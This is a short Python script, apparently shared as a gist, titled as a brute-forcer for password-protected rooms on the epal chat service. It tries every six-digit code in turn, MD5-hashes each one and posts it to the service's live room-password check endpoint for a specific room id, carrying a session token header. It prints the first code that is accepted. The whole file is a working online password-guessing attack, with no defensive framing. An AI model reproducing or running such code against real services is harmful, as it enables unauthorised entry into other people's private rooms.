bruteforce for epal rooms

bruteforce.py

import hashlib
import requests
import json
from tqdm import tqdm

url = "https://chatroom.epal.gg/mobile/room/check_room_passwd"


headers = {
    'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"',
    '_tk_': 'Cmy3D72gAnhsbb9F',
    'DNT': '1',
    'sec-ch-ua-mobile': '?0',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36',
    'Content-Type': 'application/json',
    'Accept': 'application/json, text/plain, */*',
    'platform': 'WEB',
    'sec-ch-ua-platform': '"Windows"',
    'Sec-Fetch-Site': 'same-site',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Dest': 'empty'
}

for i in tqdm(range(999999)):
    text = str(i).zfill(6)

    encoded = hashlib.md5(text.encode())
    hashed = encoded.hexdigest()

    payload = json.dumps({
        "password": hashed,
        "id": 16139
    })

    response = requests.request("POST", url, headers=headers, data=payload)

    if "ERROR" not in response.text:
        print(text)
        break